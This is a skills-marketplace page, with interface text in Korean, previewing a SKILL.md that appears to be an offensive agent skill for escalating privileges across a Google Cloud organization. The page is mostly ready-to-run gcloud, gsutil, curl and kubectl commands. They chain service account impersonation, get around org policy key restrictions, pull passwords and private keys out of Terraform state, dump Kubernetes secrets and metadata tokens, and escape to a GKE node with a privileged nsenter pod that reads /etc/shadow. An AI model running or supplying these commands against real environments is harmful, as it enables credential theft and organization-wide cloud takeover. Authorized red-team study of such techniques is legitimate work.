Skip to main content

gcp-org-escalation

GCP organization-level privilege escalation — cross-project pivoting, org policy bypass, service account impersonation chains, Terraform state secrets, and GKE cluster compromise. Escalate from single-project access to org-wide control.

설치로 이동

소스 정보

저장소
BitterSecurity/Decepticon
최근 소스 활동
2026년 6월 29일 01:38
감지된 SKILL.md 언어
영어
스타
5,565
포크
1,053

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
gcp-org-escalation
description
GCP organization-level privilege escalation — cross-project pivoting, org policy bypass, service account impersonation chains, Terraform state secrets, and GKE cluster compromise. Escalate from single-project access to org-wide control.
metadata
{"subdomain":"cloud","when_to_use":"gcp google cloud organization escalation privilege cross-project pivot service account impersonation org policy bypass terraform state gke cluster iam enumeration gcloud resource manager bigquery cloud function","mitre_attack":"T1078.004, T1580","tags":"cloud gcp privilege-escalation org-level cross-project"}
# GCP Organization-Level Privilege Escalation Escalate from a single compromised GCP project to organization-wide access. GCP's hierarchical IAM (Org → Folder → Project → Resource) means permissions inherited from above are invisible at the project level. Cross-project service account impersonation, org policy constraint bypass, and Terraform state pillaging unlock lateral movement across the entire cloud estate. ## Quick Reference ```bash # Current identity and project gcloud auth list gcloud config get-value project gcloud organizations list # Enumerate org-level IAM gcloud organizations get-iam-policy <ORG_ID> --format=json # List all projects in org gcloud projects list --filter="parent.id=<ORG_ID>" --format="table(projectId,name,lifecycleState)" # Test cross-project service account impersonation gcloud auth print-access-token --impersonate-service-account=<SA_EMAIL> # List org policy constraints gcloud org-policies list --organization=<ORG_ID> # Find Terraform state buckets gsutil ls -p <PROJECT_ID> | xargs -I{} gsutil ls {} | grep -i terraform ``` ## MITRE ATT&CK Mapping | Technique | ID | Application | |---|---|---| | Valid Accounts: Cloud Accounts | T1078.004 | Abuse compromised SA or user for cross-project access | | Cloud Infrastructure Discovery | T1580 | Enumerate projects, SAs, IAM bindings, resources across org | | Account Manipulation: Additional Cloud Roles | T1098.001 | Add IAM bindings for persistence | | Steal Application Access Token | T1528 | Extract SA keys, OAuth tokens, metadata tokens | | Cloud Storage Object Discovery | T1619 | Discover Terraform state, config buckets | ## 1. IAM Enumeration at Organization Level ```bash # List organization ORG_ID=$(gcloud organizations list --format="value(ID)" | head -1) echo "Org ID: $ORG_ID" # Org-level IAM policy (who has org-wide access) gcloud organizations get-iam-policy "$ORG_ID" --format=json > org_iam.json cat org_iam.json | jq '.bindings[] | select(.role | test("admin|owner|editor|security")) | {role, members}' # List all folders gcloud resource-manager folders list --organization="$ORG_ID" --format="table(name,displayName)" > folders.txt # Enumerate folder-level IAM while read folder_id; do echo "=== $folder_id ===" gcloud resource-manager folders get-iam-policy "$folder_id" --format=json 2>/dev/null done < <(gcloud resource-manager folders list --organization="$ORG_ID" --format="value(name)") # List ALL projects in org gcloud projects list --filter="parent.id=$ORG_ID" --format=json > all_projects.json # Per-project IAM enumeration (find over-permissioned SAs) for proj in $(jq -r '.[].projectId' all_projects.json); do echo "=== $proj ===" gcloud projects get-iam-policy "$proj" --format=json 2>/dev/null | \ jq '.bindings[] | select(.members[] | test("serviceAccount")) | {role, members}' done # List all service accounts across projects for proj in $(jq -r '.[].projectId' all_projects.json); do gcloud iam service-accounts list --project="$proj" --format="table(email,displayName)" 2>/dev/null done # Test current permissions gcloud projects get-iam-policy <PROJECT_ID> --flatten="bindings[].members" \ --filter="bindings.members:$(gcloud auth list --filter=status:ACTIVE --format='value(account)')" \ --format="table(bindings.role)" ``` ## 2. Cross-Project Service Account Impersonation ```bash # Service account impersonation chain: # SA-A (compromised) → impersonate SA-B (target project) → access target resources # Check if current SA can impersonate other SAs gcloud iam service-accounts list --project=<TARGET_PROJECT> --format="value(email)" | while read sa; do echo "Testing: $sa" gcloud auth print-access-token --impersonate-service-account="$sa" 2>/dev/null && echo "[+] CAN IMPERSONATE: $sa" done # Check who can impersonate a specific SA gcloud iam service-accounts get-iam-policy <TARGET_SA_EMAIL> --format=json | \ jq '.bindings[] | select(.role | test("iam.serviceAccountTokenCreator|iam.serviceAccountUser"))' # Multi-hop impersonation (SA chaining) # SA-A → impersonate SA-B → impersonate SA-C gcloud auth print-access-token \ --impersonate-service-account=<SA_B_EMAIL> \ --include-email 2>/dev/null # Then use SA-B's token to impersonate SA-C via API TOKEN_B=$(gcloud auth print-access-token --impersonate-service-account=<SA_B_EMAIL>) curl -s -X POST "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<SA_C_EMAIL>:generateAccessToken" \ -H "Authorization: Bearer $TOKEN_B" \ -H "Content-Type: application/json" \ -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"],"lifetime":"3600s"}' # Default compute SA often has Editor role on project — look for it gcloud compute instances list --project=<PROJECT_ID> --format="table(name,serviceAccounts.email)" 2>/dev/null # Workload Identity Federation — check for external identity trust gcloud iam workload-identity-pools list --location=global --project=<PROJECT_ID> 2>/dev/null ``` ## 3. Org Policy Constraint Bypass ```bash # List active org policy constraints gcloud org-policies list --organization="$ORG_ID" --format="table(constraint,listPolicy,booleanPolicy)" # Common constraints to target: # constraints/iam.allowedPolicyMemberDomains — restricts who gets IAM # constraints/compute.vmExternalIpAccess — blocks external IPs # constraints/iam.disableServiceAccountKeyCreation — blocks SA key export # constraints/compute.requireShieldedVm — forces shielded VMs # constraints/storage.uniformBucketLevelAccess — forces uniform bucket ACLs # Check specific constraint gcloud org-policies describe constraints/iam.disableServiceAccountKeyCreation \ --organization="$ORG_ID" --format=json # Bypass: constraints/iam.disableServiceAccountKeyCreation # Cannot create key via CLI, but can still: # 1. Use impersonation (no key needed) gcloud auth print-access-token --impersonate-service-account=<SA_EMAIL> # 2. Generate short-lived tokens via API curl -s -X POST "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<SA_EMAIL>:generateAccessToken" \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"],"lifetime":"43200s"}' # 3. Sign JWTs for federated auth curl -s -X POST "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<SA_EMAIL>:signJwt" \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{"payload":"{\"iss\":\"<SA_EMAIL>\",\"sub\":\"<SA_EMAIL>\",\"aud\":\"https://oauth2.googleapis.com/token\",\"iat\":'"$(date +%s)"',\"exp\":'"$(($(date +%s)+3600))"'}"}' # Bypass: constraints/compute.vmExternalIpAccess # Use Cloud NAT or IAP tunnel instead of external IP gcloud compute ssh <INSTANCE> --tunnel-through-iap --project=<PROJECT_ID> # Bypass: constraints/iam.allowedPolicyMemberDomains # If constraint allows only @target.com, compromise a target.com identity # Or use a service account (SAs are exempt from domain restrictions in some configs) ``` ## 4. Terraform State Access ```bash # Terraform state files contain secrets, credentials, and full resource details # Find Terraform state in GCS buckets for proj in $(jq -r '.[].projectId' all_projects.json); do gsutil ls -p "$proj" 2>/dev/null | while read bucket; do gsutil ls -r "$bucket" 2>/dev/null | grep -iE 'terraform|\.tfstate' done done # Download Terraform state gsutil cp gs://<BUCKET>/terraform.tfstate /tmp/tfstate.json # Extract secrets from state cat /tmp/tfstate.json | jq -r '.. | .attributes? // empty | to_entries[] | select(.key | test("password|secret|key|token|private")) | "\(.key): \(.value)"' 2>/dev/null # Extract service account keys from state cat /tmp/tfstate.json | jq -r '.. | select(.type? == "google_service_account_key") | .instances[].attributes.private_key' 2>/dev/null | base64 -d > /tmp/sa_key.json # Extract database credentials cat /tmp/tfstate.json | jq '.. | select(.type? == "google_sql_user") | .instances[].attributes | {name, password}' 2>/dev/null # Find Terraform Cloud/Enterprise state (if using remote backend) # Check .terraform/terraform.tfstate for backend config find / -name "*.tfstate" -o -name "backend.tf" -o -name ".terraform" 2>/dev/null # Check if Terraform state bucket has versioning (access old secrets) gsutil versioning get gs://<BUCKET> gsutil ls -a gs://<BUCKET>/terraform.tfstate # list all versions gsutil cp gs://<BUCKET>/terraform.tfstate#<GENERATION_ID> /tmp/old_tfstate.json ``` ## 5. GKE Cluster Pivoting ```bash # Enumerate GKE clusters across projects for proj in $(jq -r '.[].projectId' all_projects.json); do echo "=== $proj ===" gcloud container clusters list --project="$proj" --format="table(name,location,currentMasterVersion,currentNodeVersion)" 2>/dev/null done # Get cluster credentials gcloud container clusters get-credentials <CLUSTER_NAME> --zone=<ZONE> --project=<PROJECT_ID> # Enumerate cluster kubectl auth can-i --list kubectl get namespaces kubectl get pods --all-namespaces kubectl get secrets --all-namespaces # Extract secrets kubectl get secrets --all-namespaces -o json | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, data: (.data | to_entries[] | {key: .key, value: (.value | @base64d)})}' # Access cloud metadata from pod (node SA token) kubectl run probe --image=alpine --restart=Never --command -- sh -c \ "apk add curl jq && curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq ." # Workload Identity — check pod SA mappings kubectl get serviceaccounts --all-namespaces -o json | \ jq '.items[] | select(.metadata.annotations["iam.gke.io/gcp-service-account"] != null) | {namespace: .metadata.namespace, k8sSA: .metadata.name, gcpSA: .metadata.annotations["iam.gke.io/gcp-service-account"]}' # Escape to node (if privileged pod or hostPath mount) kubectl run escape --image=alpine --restart=Never --overrides='{ "spec":{"hostPID":true,"hostNetwork":true,"containers":[{ "name":"escape","image":"alpine","command":["nsenter","--target","1","--mount","--uts","--ipc","--net","--pid","--","bash","-c","id; cat /etc/shadow | head -3"], "securityContext":{"privileged":true} }]} }' # GKE node SA typically has compute/storage access — pivot from there ``` ## 6. Cross-Service Pivoting ```bash # BigQuery — access datasets across projects for proj in $(jq -r '.[].projectId' all_projects.json); do bq ls --project_id="$proj" 2>/dev/null | grep -v "datasetId" done # Query cross-project BigQuery (if IAM allows) bq query --use_legacy_sql=false "SELECT * FROM \`<TARGET_PROJECT>.<DATASET>.<TABLE>\` LIMIT 100" # Cloud Functions — list and read source code for proj in $(jq -r '.[].projectId' all_projects.json); do gcloud functions list --project="$proj" --format="table(name,runtime,status)" 2>/dev/null done # Download function source gcloud functions describe <FUNCTION_NAME> --project=<PROJECT_ID> --format="value(sourceArchiveUrl)" gsutil cp <SOURCE_URL> /tmp/function_source.zip # Secret Manager — list and access secrets for proj in $(jq -r '.[].projectId' all_projects.json); do echo "=== $proj ===" gcloud secrets list --project="$proj" --format="table(name,createTime)" 2>/dev/null done # Read secret value gcloud secrets versions access latest --secret=<SECRET_NAME> --project=<PROJECT_ID> # Cloud SQL — find databases for proj in $(jq -r '.[].projectId' all_projects.json); do gcloud sql instances list --project="$proj" --format="table(name,databaseVersion,ipAddresses)" 2>/dev/null done # Pub/Sub — read messages from subscriptions
GitHub에서 보기
이 SKILL.md는 매우 커서 SkillsMP가 여기에는 첫 섹션만 미리 보여줍니다. GitHub에서 보기